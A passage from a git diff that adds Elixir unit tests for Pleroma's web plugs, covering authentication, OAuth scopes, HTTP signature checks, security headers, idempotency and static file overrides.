EnsurePublicOrAuthenticatedPlug.call(%{}) + + refute ret_conn.halted + end + + test "it continues if a user is assigned, even if not public", %{conn: conn} do + Config.put([:instance, :public], false) + + conn = + conn + |> assign(:user, %User{}) + + ret_conn = + conn + |> EnsurePublicOrAuthenticatedPlug.call(%{}) + + refute ret_conn.halted + end +end diff --git a/test/pleroma/web/plugs/ensure_user_key_plug_test.exs b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs new file mode 100644 index 000000000..474510101 --- /dev/null +++ b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.EnsureUserKeyPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.EnsureUserKeyPlug + + test "if the conn has a user key set, it does nothing", %{conn: conn} do + conn = + conn + |> assign(:user, 1) + + ret_conn = + conn + |> EnsureUserKeyPlug.call(%{}) + + assert conn == ret_conn + end + + test "if the conn has no key set, it sets it to nil", %{conn: conn} do + conn = + conn + |> EnsureUserKeyPlug.call(%{}) + + assert Map.has_key?(conn.assigns, :user) + end +end diff --git a/test/pleroma/web/plugs/federating_plug_test.exs b/test/pleroma/web/plugs/federating_plug_test.exs new file mode 100644 index 000000000..a39fe8adb --- /dev/null +++ b/test/pleroma/web/plugs/federating_plug_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.FederatingPlugTest do + use Pleroma.Web.ConnCase + + setup do: clear_config([:instance, :federating]) + + test "returns and halt the conn when federating is disabled" do + Pleroma.Config.put([:instance, :federating], false) + + conn = + build_conn() + |> Pleroma.Web.FederatingPlug.call(%{}) + + assert conn.status == 404 + assert conn.halted + end + + test "does nothing when federating is enabled" do + Pleroma.Config.put([:instance, :federating], true) + + conn = + build_conn() + |> Pleroma.Web.FederatingPlug.call(%{}) + + refute conn.status + refute conn.halted + end +end diff --git a/test/pleroma/web/plugs/http_security_plug_test.exs b/test/pleroma/web/plugs/http_security_plug_test.exs new file mode 100644 index 000000000..2297e3dac --- /dev/null +++ b/test/pleroma/web/plugs/http_security_plug_test.exs @@ -0,0 +1,140 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Plug.Conn + + describe "http security enabled" do + setup do: clear_config([:http_security, :enabled], true) + + test "it sends CSP headers when enabled", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + refute Conn.get_resp_header(conn, "x-xss-protection") == [] + refute Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] + refute Conn.get_resp_header(conn, "x-frame-options") == [] + refute Conn.get_resp_header(conn, "x-content-type-options") == [] + refute Conn.get_resp_header(conn, "x-download-options") == [] + refute Conn.get_resp_header(conn, "referrer-policy") == [] + refute Conn.get_resp_header(conn, "content-security-policy") == [] + end + + test "it sends STS headers when enabled", %{conn: conn} do + clear_config([:http_security, :sts], true) + + conn = get(conn, "/api/v1/instance") + + refute Conn.get_resp_header(conn, "strict-transport-security") == [] + refute Conn.get_resp_header(conn, "expect-ct") == [] + end + + test "it does not send STS headers when disabled", %{conn: conn} do + clear_config([:http_security, :sts], false) + + conn = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(conn, "strict-transport-security") == [] + assert Conn.get_resp_header(conn, "expect-ct") == [] + end + + test "referrer-policy header reflects configured value", %{conn: conn} do + resp = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(resp, "referrer-policy") == ["same-origin"] + + clear_config([:http_security, :referrer_policy], "no-referrer") + + resp = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(resp, "referrer-policy") == ["no-referrer"] + end + + test "it sends `report-to` & `report-uri` CSP response headers", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + [csp] = Conn.get_resp_header(conn, "content-security-policy") + + assert csp =~ ~r|report-uri https://endpoint.com;report-to csp-endpoint;| + + [reply_to] = Conn.get_resp_header(conn, "reply-to") + + assert reply_to == + "{\"endpoints\":[{\"url\":\"https://endpoint.com\"}],\"group\":\"csp-endpoint\",\"max-age\":10886400}" + end + + test "default values for img-src and media-src with disabled media proxy", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + + [csp] = Conn.get_resp_header(conn, "content-security-policy") + assert csp =~ "media-src 'self' https:;" + assert csp =~ "img-src 'self' data: blob: https:;" + end + end + + describe "img-src and media-src" do + setup do + clear_config([:http_security, :enabled], true) + clear_config([:media_proxy, :enabled], true) + clear_config([:media_proxy, :proxy_opts, :redirect_on_failure], false) + end + + test "media_proxy with base_url", %{conn: conn} do + url = "https://example.com" + clear_config([:media_proxy, :base_url], url) + assert_media_img_src(conn, url) + end + + test "upload with base url", %{conn: conn} do + url = "https://example2.com" + clear_config([Pleroma.Upload, :base_url], url) + assert_media_img_src(conn, url) + end + + test "with S3 public endpoint", %{conn: conn} do + url = "https://example3.com" + clear_config([Pleroma.Uploaders.S3, :public_endpoint], url) + assert_media_img_src(conn, url) + end + + test "with captcha endpoint", %{conn: conn} do + clear_config([Pleroma.Captcha.Mock, :endpoint], "https://captcha.com") + assert_media_img_src(conn, "https://captcha.com") + end + + test "with media_proxy whitelist", %{conn: conn} do + clear_config([:media_proxy, :whitelist], ["https://example6.com", "https://example7.com"]) + assert_media_img_src(conn, "https://example7.com https://example6.com") + end + + # TODO: delete after removing support bare domains for media proxy whitelist + test "with media_proxy bare domains whitelist (deprecated)", %{conn: conn} do + clear_config([:media_proxy, :whitelist], ["example4.com", "example5.com"]) + assert_media_img_src(conn, "example5.com example4.com") + end + end + + defp assert_media_img_src(conn, url) do + conn = get(conn, "/api/v1/instance") + [csp] = Conn.get_resp_header(conn, "content-security-policy") + assert csp =~ "media-src 'self' #{url};" + assert csp =~ "img-src 'self' data: blob: #{url};" + end + + test "it does not send CSP headers when disabled", %{conn: conn} do + clear_config([:http_security, :enabled], false) + + conn = get(conn, "/api/v1/instance") + + assert Conn.get_resp_header(conn, "x-xss-protection") == [] + assert Conn.get_resp_header(conn, "x-permitted-cross-domain-policies") == [] + assert Conn.get_resp_header(conn, "x-frame-options") == [] + assert Conn.get_resp_header(conn, "x-content-type-options") == [] + assert Conn.get_resp_header(conn, "x-download-options") == [] + assert Conn.get_resp_header(conn, "referrer-policy") == [] + assert Conn.get_resp_header(conn, "content-security-policy") == [] + end +end diff --git a/test/pleroma/web/plugs/http_signature_plug_test.exs b/test/pleroma/web/plugs/http_signature_plug_test.exs new file mode 100644 index 000000000..e6cbde803 --- /dev/null +++ b/test/pleroma/web/plugs/http_signature_plug_test.exs @@ -0,0 +1,89 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do + use Pleroma.Web.ConnCase + alias Pleroma.Web.Plugs.HTTPSignaturePlug + + import Plug.Conn + import Phoenix.Controller, only: [put_format: 2] + import Mock + + test "it call HTTPSignatures to check validity if the actor sighed it" do + params = %{"actor" => "http://mastodon.example.org/users/admin"} + conn = build_conn(:get, "/doesntmattter", params) + + with_mock HTTPSignatures, validate_conn: fn _ -> true end do + conn = + conn + |> put_req_header( + "signature", + "keyId=\"http://mastodon.example.org/users/admin#main-key" + ) + |> put_format("activity+json") + |> HTTPSignaturePlug.call(%{}) + + assert conn.assigns.valid_signature == true + assert conn.halted == false + assert called(HTTPSignatures.validate_conn(:_)) + end + end + + describe "requires a signature when `authorized_fetch_mode` is enabled" do + setup do + Pleroma.Config.put([:activitypub, :authorized_fetch_mode], true) + + on_exit(fn -> + Pleroma.Config.put([:activitypub, :authorized_fetch_mode], false) + end) + + params = %{"actor" => "http://mastodon.example.org/users/admin"} + conn = build_conn(:get, "/doesntmattter", params) |> put_format("activity+json") + + [conn: conn] + end + + test "when signature header is present", %{conn: conn} do + with_mock HTTPSignatures, validate_conn: fn _ -> false end do + conn = + conn + |> put_req_header( + "signature", + "keyId=\"http://mastodon.example.org/users/admin#main-key" + ) + |> HTTPSignaturePlug.call(%{}) + + assert conn.assigns.valid_signature == false + assert conn.halted == true + assert conn.status == 401 + assert conn.state == :sent + assert conn.resp_body == "Request not signed" + assert called(HTTPSignatures.validate_conn(:_)) + end + + with_mock HTTPSignatures, validate_conn: fn _ -> true end do + conn = + conn + |> put_req_header( + "signature", + "keyId=\"http://mastodon.example.org/users/admin#main-key" + ) + |> HTTPSignaturePlug.call(%{}) + + assert conn.assigns.valid_signature == true + assert conn.halted == false + assert called(HTTPSignatures.validate_conn(:_)) + end + end + + test "halts the connection when `signature` header is not present", %{conn: conn} do + conn = HTTPSignaturePlug.call(conn, %{}) + assert conn.assigns[:valid_signature] == nil + assert conn.halted == true + assert conn.status == 401 + assert conn.state == :sent + assert conn.resp_body == "Request not signed" + end + end +end diff --git a/test/pleroma/web/plugs/idempotency_plug_test.exs b/test/pleroma/web/plugs/idempotency_plug_test.exs new file mode 100644 index 000000000..c7b8abcaf --- /dev/null +++ b/test/pleroma/web/plugs/idempotency_plug_test.exs @@ -0,0 +1,110 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.IdempotencyPlugTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.IdempotencyPlug + alias Plug.Conn + + test "returns result from cache" do + key = "test1" + orig_request_id = "test1" + second_request_id = "test2" + body = "testing" + status = 200 + + :post + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> Conn.put_resp_header("x-request-id", orig_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + conn = + :post + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> Conn.put_resp_header("x-request-id", second_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + + assert_raise Conn.AlreadySentError, fn -> + Conn.send_resp(conn, :im_a_teapot, "no cofe") + end + + assert conn.resp_body == body + assert conn.status == status + + assert [^second_request_id] = Conn.get_resp_header(conn, "x-request-id") + assert [^orig_request_id] = Conn.get_resp_header(conn, "x-original-request-id") + assert [^key] = Conn.get_resp_header(conn, "idempotency-key") + assert ["true"] = Conn.get_resp_header(conn, "idempotent-replayed") + assert ["application/json; charset=utf-8"] = Conn.get_resp_header(conn, "content-type") + end + + test "pass conn downstream if the cache not found" do + key = "test2" + orig_request_id = "test3" + body = "testing" + status = 200 + + conn = + :post + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> Conn.put_resp_header("x-request-id", orig_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert conn.resp_body == body + assert conn.status == status + + assert [] = Conn.get_resp_header(conn, "idempotent-replayed") + assert [^key] = Conn.get_resp_header(conn, "idempotency-key") + end + + test "passes conn downstream if idempotency is not present in headers" do + orig_request_id = "test4" + body = "testing" + status = 200 + + conn = + :post + |> conn("/cofe") + |> Conn.put_resp_header("x-request-id", orig_request_id) + |> Conn.put_resp_content_type("application/json") + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert [] = Conn.get_resp_header(conn, "idempotency-key") + end + + test "doesn't work with GET/DELETE" do + key = "test3" + body = "testing" + status = 200 + + conn = + :get + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert [] = Conn.get_resp_header(conn, "idempotency-key") + + conn = + :delete + |> conn("/cofe") + |> put_req_header("idempotency-key", key) + |> IdempotencyPlug.call([]) + |> Conn.send_resp(status, body) + + assert [] = Conn.get_resp_header(conn, "idempotency-key") + end +end diff --git a/test/pleroma/web/plugs/instance_static_test.exs b/test/pleroma/web/plugs/instance_static_test.exs new file mode 100644 index 000000000..5b30011d3 --- /dev/null +++ b/test/pleroma/web/plugs/instance_static_test.exs @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.InstanceStaticTest do + use Pleroma.Web.ConnCase + + @dir "test/tmp/instance_static" + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + test "overrides index" do + bundled_index = get(build_conn(), "/") + refute html_response(bundled_index, 200) == "hello world" + + File.write!(@dir <> "/index.html", "hello world") + + index = get(build_conn(), "/") + assert html_response(index, 200) == "hello world" + end + + test "also overrides frontend files", %{conn: conn} do + name = "pelmora" + ref = "uguu" + + clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) + + bundled_index = get(conn, "/") + refute html_response(bundled_index, 200) == "from frontend plug" + + path = "#{@dir}/frontends/#{name}/#{ref}" + File.mkdir_p!(path) + File.write!("#{path}/index.html", "from frontend plug") + + index = get(conn, "/") + assert html_response(index, 200) == "from frontend plug" + + File.write!(@dir <> "/index.html", "from instance static") + + index = get(conn, "/") + assert html_response(index, 200) == "from instance static" + end + + test "overrides any file in static/static" do + bundled_index = get(build_conn(), "/static/terms-of-service.html") + + assert html_response(bundled_index, 200) == + File.read!("priv/static/static/terms-of-service.html") + + File.mkdir!(@dir <> "/static") + File.write!(@dir <> "/static/terms-of-service.html", "plz be kind") + + index = get(build_conn(), "/static/terms-of-service.html") + assert html_response(index, 200) == "plz be kind" + + File.write!(@dir <> "/static/kaniini.html", "

rabbit hugs as a service

") + index = get(build_conn(), "/static/kaniini.html") + assert html_response(index, 200) == "

rabbit hugs as a service

" + end +end diff --git a/test/pleroma/web/plugs/legacy_authentication_plug_test.exs b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs new file mode 100644 index 000000000..fbb25ee7b --- /dev/null +++ b/test/pleroma/web/plugs/legacy_authentication_plug_test.exs @@ -0,0 +1,82 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.LegacyAuthenticationPlugTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Plugs.LegacyAuthenticationPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.PlugHelper + alias Pleroma.User + + setup do + user = + insert(:user, + password: "password", + password_hash: + "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" + ) + + %{user: user} + end + + test "it does nothing if a user is assigned", %{conn: conn, user: user} do + conn = + conn + |> assign(:auth_credentials, %{username: "dude", password: "password"}) + |> assign(:auth_user, user) + |> assign(:user, %User{}) + + ret_conn = + conn + |> LegacyAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end + + @tag :skip_on_mac + test "if `auth_user` is present and password is correct, " <> + "it authenticates the user, resets the password, marks OAuthScopesPlug as skipped", + %{ + conn: conn, + user: user + } do + conn = + conn + |> assign(:auth_credentials, %{username: "dude", password: "password"}) + |> assign(:auth_user, user) + + conn = LegacyAuthenticationPlug.call(conn, %{}) + + assert conn.assigns.user.id == user.id + assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) + end + + @tag :skip_on_mac + test "it does nothing if the password is wrong", %{ + conn: conn, + user: user + } do + conn = + conn + |> assign(:auth_credentials, %{username: "dude", password: "wrong_password"}) + |> assign(:auth_user, user) + + ret_conn = + conn + |> LegacyAuthenticationPlug.call(%{}) + + assert conn == ret_conn + end + + test "with no credentials or user it does nothing", %{conn: conn} do + ret_conn = + conn + |> LegacyAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end +end diff --git a/test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs b/test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs new file mode 100644 index 000000000..0ad3c2929 --- /dev/null +++ b/test/pleroma/web/plugs/mapped_signature_to_identity_plug_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do + use Pleroma.Web.ConnCase + alias Pleroma.Web.Plugs.MappedSignatureToIdentityPlug + + import Tesla.Mock + import Plug.Conn + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + defp set_signature(conn, key_id) do + conn + |> put_req_header("signature", "keyId=\"#{key_id}\"") + |> assign(:valid_signature, true) + end + + test "it successfully maps a valid identity with a valid signature" do + conn = + build_conn(:get, "/doesntmattter") + |> set_signature("http://mastodon.example.org/users/admin") + |> MappedSignatureToIdentityPlug.call(%{}) + + refute is_nil(conn.assigns.user) + end + + test "it successfully maps a valid identity with a valid signature with payload" do + conn = + build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) + |> set_signature("http://mastodon.example.org/users/admin") + |> MappedSignatureToIdentityPlug.call(%{}) + + refute is_nil(conn.assigns.user) + end + + test "it considers a mapped identity to be invalid when it mismatches a payload" do + conn = + build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) + |> set_signature("https://niu.moe/users/rye") + |> MappedSignatureToIdentityPlug.call(%{}) + + assert %{valid_signature: false} == conn.assigns + end + + @tag skip: "known breakage; the testsuite presently depends on it" + test "it considers a mapped identity to be invalid when the identity cannot be found" do + conn = + build_conn(:post, "/doesntmattter", %{"actor" => "http://mastodon.example.org/users/admin"}) + |> set_signature("http://niu.moe/users/rye") + |> MappedSignatureToIdentityPlug.call(%{}) + + assert %{valid_signature: false} == conn.assigns + end +end diff --git a/test/pleroma/web/plugs/o_auth_plug_test.exs b/test/pleroma/web/plugs/o_auth_plug_test.exs new file mode 100644 index 000000000..f4df8f4cb --- /dev/null +++ b/test/pleroma/web/plugs/o_auth_plug_test.exs @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.OAuthPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.OAuthPlug + import Pleroma.Factory + + @session_opts [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + setup %{conn: conn} do + user = insert(:user) + {:ok, %{token: token}} = Pleroma.Web.OAuth.Token.create(insert(:oauth_app), user) + %{user: user, token: token, conn: conn} + end + + test "with valid token(uppercase), it assigns the user", %{conn: conn} = opts do + conn = + conn + |> put_req_header("authorization", "BEARER #{opts[:token]}") + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with valid token(downcase), it assigns the user", %{conn: conn} = opts do + conn = + conn + |> put_req_header("authorization", "bearer #{opts[:token]}") + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with valid token(downcase) in url parameters, it assigns the user", opts do + conn = + :get + |> build_conn("/?access_token=#{opts[:token]}") + |> put_req_header("content-type", "application/json") + |> fetch_query_params() + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with valid token(downcase) in body parameters, it assigns the user", opts do + conn = + :post + |> build_conn("/api/v1/statuses", access_token: opts[:token], status: "test") + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end + + test "with invalid token, it not assigns the user", %{conn: conn} do + conn = + conn + |> put_req_header("authorization", "bearer TTTTT") + |> OAuthPlug.call(%{}) + + refute conn.assigns[:user] + end + + test "when token is missed but token in session, it assigns the user", %{conn: conn} = opts do + conn = + conn + |> Plug.Session.call(Plug.Session.init(@session_opts)) + |> fetch_session() + |> put_session(:oauth_token, opts[:token]) + |> OAuthPlug.call(%{}) + + assert conn.assigns[:user] == opts[:user] + end +end diff --git a/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs new file mode 100644 index 000000000..6a7676c8a --- /dev/null +++ b/test/pleroma/web/plugs/o_auth_scopes_plug_test.exs @@ -0,0 +1,210 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.OAuthScopesPlugTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Repo + + import Mock + import Pleroma.Factory + + test "is not performed if marked as skipped", %{conn: conn} do + with_mock OAuthScopesPlug, [:passthrough], perform: &passthrough([&1, &2]) do + conn = + conn + |> OAuthScopesPlug.skip_plug() + |> OAuthScopesPlug.call(%{scopes: ["random_scope"]}) + + refute called(OAuthScopesPlug.perform(:_, :_)) + refute conn.halted + end + end + + test "if `token.scopes` fulfills specified 'any of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["read"]}) + + refute conn.halted + assert conn.assigns[:user] + end + + test "if `token.scopes` fulfills specified 'all of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["scope2", "scope3"], op: :&}) + + refute conn.halted + assert conn.assigns[:user] + end + + describe "with `fallback: :proceed_unauthenticated` option, " do + test "if `token.scopes` doesn't fulfill specified conditions, " <> + "clears :user and :token assigns", + %{conn: conn} do + user = insert(:user) + token1 = insert(:oauth_token, scopes: ["read", "write"], user: user) + + for token <- [token1, nil], op <- [:|, :&] do + ret_conn = + conn + |> assign(:user, user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{ + scopes: ["follow"], + op: op, + fallback: :proceed_unauthenticated + }) + + refute ret_conn.halted + refute ret_conn.assigns[:user] + refute ret_conn.assigns[:token] + end + end + end + + describe "without :fallback option, " do + test "if `token.scopes` does not fulfill specified 'any of' conditions, " <> + "returns 403 and halts", + %{conn: conn} do + for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do + any_of_scopes = ["follow", "push"] + + ret_conn = + conn + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: any_of_scopes}) + + assert ret_conn.halted + assert 403 == ret_conn.status + + expected_error = "Insufficient permissions: #{Enum.join(any_of_scopes, " | ")}." + assert Jason.encode!(%{error: expected_error}) == ret_conn.resp_body + end + end + + test "if `token.scopes` does not fulfill specified 'all of' conditions, " <> + "returns 403 and halts", + %{conn: conn} do + for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do + token_scopes = (token && token.scopes) || [] + all_of_scopes = ["write", "follow"] + + conn = + conn + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: all_of_scopes, op: :&}) + + assert conn.halted + assert 403 == conn.status + + expected_error = + "Insufficient permissions: #{Enum.join(all_of_scopes -- token_scopes, " & ")}." + + assert Jason.encode!(%{error: expected_error}) == conn.resp_body + end + end + end + + describe "with hierarchical scopes, " do + test "if `token.scopes` fulfills specified 'any of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["read:something"]}) + + refute conn.halted + assert conn.assigns[:user] + end + + test "if `token.scopes` fulfills specified 'all of' conditions, " <> + "proceeds with no op", + %{conn: conn} do + token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> OAuthScopesPlug.call(%{scopes: ["scope1:subscope", "scope2:subscope"], op: :&}) + + refute conn.halted + assert conn.assigns[:user] + end + end + + describe "filter_descendants/2" do + test "filters scopes which directly match or are ancestors of supported scopes" do + f = fn scopes, supported_scopes -> + OAuthScopesPlug.filter_descendants(scopes, supported_scopes) + end + + assert f.(["read", "follow"], ["write", "read"]) == ["read"] + + assert f.(["read", "write:something", "follow"], ["write", "read"]) == + ["read", "write:something"] + + assert f.(["admin:read"], ["write", "read"]) == [] + + assert f.(["admin:read"], ["write", "admin"]) == ["admin:read"] + end + end + + describe "transform_scopes/2" do + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage]) + + setup do + {:ok, %{f: &OAuthScopesPlug.transform_scopes/2}} + end + + test "with :admin option, prefixes all requested scopes with `admin:` " <> + "and [optionally] keeps only prefixed scopes, " <> + "depending on `[:auth, :enforce_oauth_admin_scope_usage]` setting", + %{f: f} do + Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false) + + assert f.(["read"], %{admin: true}) == ["admin:read", "read"] + + assert f.(["read", "write"], %{admin: true}) == [ + "admin:read", + "read", + "admin:write", + "write" + ] + + Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true) + + assert f.(["read:accounts"], %{admin: true}) == ["admin:read:accounts"] + + assert f.(["read", "write:reports"], %{admin: true}) == [ + "admin:read", + "admin:write:reports" + ] + end + + test "with no supported options, returns unmodified scopes", %{f: f} do + assert f.(["read"], %{}) == ["read"] + assert f.(["read", "write"], %{}) == ["read", "write"] + end + end +end diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs new file mode 100644 index 000000000..0d32031e8 --- /dev/null +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -0,0 +1,91 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.PlugHelperTest do + @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" + + alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug + alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug + alias Pleroma.Plugs.PlugHelper + + import Mock + + use Pleroma.Web.ConnCase + + describe "when plug is skipped, " do + setup_with_mocks( + [ + {ExpectPublicOrAuthenticatedCheckPlug, [:passthrough], []} + ], + %{conn: conn} + ) do + conn = ExpectPublicOrAuthenticatedCheckPlug.skip_plug(conn) + %{conn: conn} + end + + test "it neither adds plug to called plugs list nor calls `perform/2`, " <> + "regardless of :if_func / :unless_func options", + %{conn: conn} do + for opts <- [%{}, %{if_func: fn _ -> true end}, %{unless_func: fn _ -> false end}] do + ret_conn = ExpectPublicOrAuthenticatedCheckPlug.call(conn, opts) + + refute called(ExpectPublicOrAuthenticatedCheckPlug.perform(:_, :_)) + refute PlugHelper.plug_called?(ret_conn, ExpectPublicOrAuthenticatedCheckPlug) + end + end + end + + describe "when plug is NOT skipped, " do + setup_with_mocks([{ExpectAuthenticatedCheckPlug, [:passthrough], []}]) do + :ok + end + + test "with no pre-run checks, adds plug to called plugs list and calls `perform/2`", %{ + conn: conn + } do + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{}) + + assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) + assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + end + + test "when :if_func option is given, calls the plug only if provided function evals tru-ish", + %{conn: conn} do + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> false end}) + + refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) + refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{if_func: fn _ -> true end}) + + assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) + assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + end + + test "if :unless_func option is given, calls the plug only if provided function evals falsy", + %{conn: conn} do + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> true end}) + + refute called(ExpectAuthenticatedCheckPlug.perform(:_, :_)) + refute PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + + ret_conn = ExpectAuthenticatedCheckPlug.call(conn, %{unless_func: fn _ -> false end}) + + assert called(ExpectAuthenticatedCheckPlug.perform(ret_conn, :_)) + assert PlugHelper.plug_called?(ret_conn, ExpectAuthenticatedCheckPlug) + end + + test "allows a plug to be called multiple times (even if it's in called plugs list)", %{ + conn: conn + } do + conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value1}) + assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value1})) + + assert PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) + + conn = ExpectAuthenticatedCheckPlug.call(conn, %{an_option: :value2}) + assert called(ExpectAuthenticatedCheckPlug.perform(conn, %{an_option: :value2})) + end + end +end diff --git a/test/pleroma/web/plugs/rate_limiter_test.exs b/test/pleroma/web/plugs/rate_limiter_test.exs new file mode 100644 index 000000000..dfc1abcbd --- /dev/null +++ b/test/pleroma/web/plugs/rate_limiter_test.exs @@ -0,0 +1,263 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule 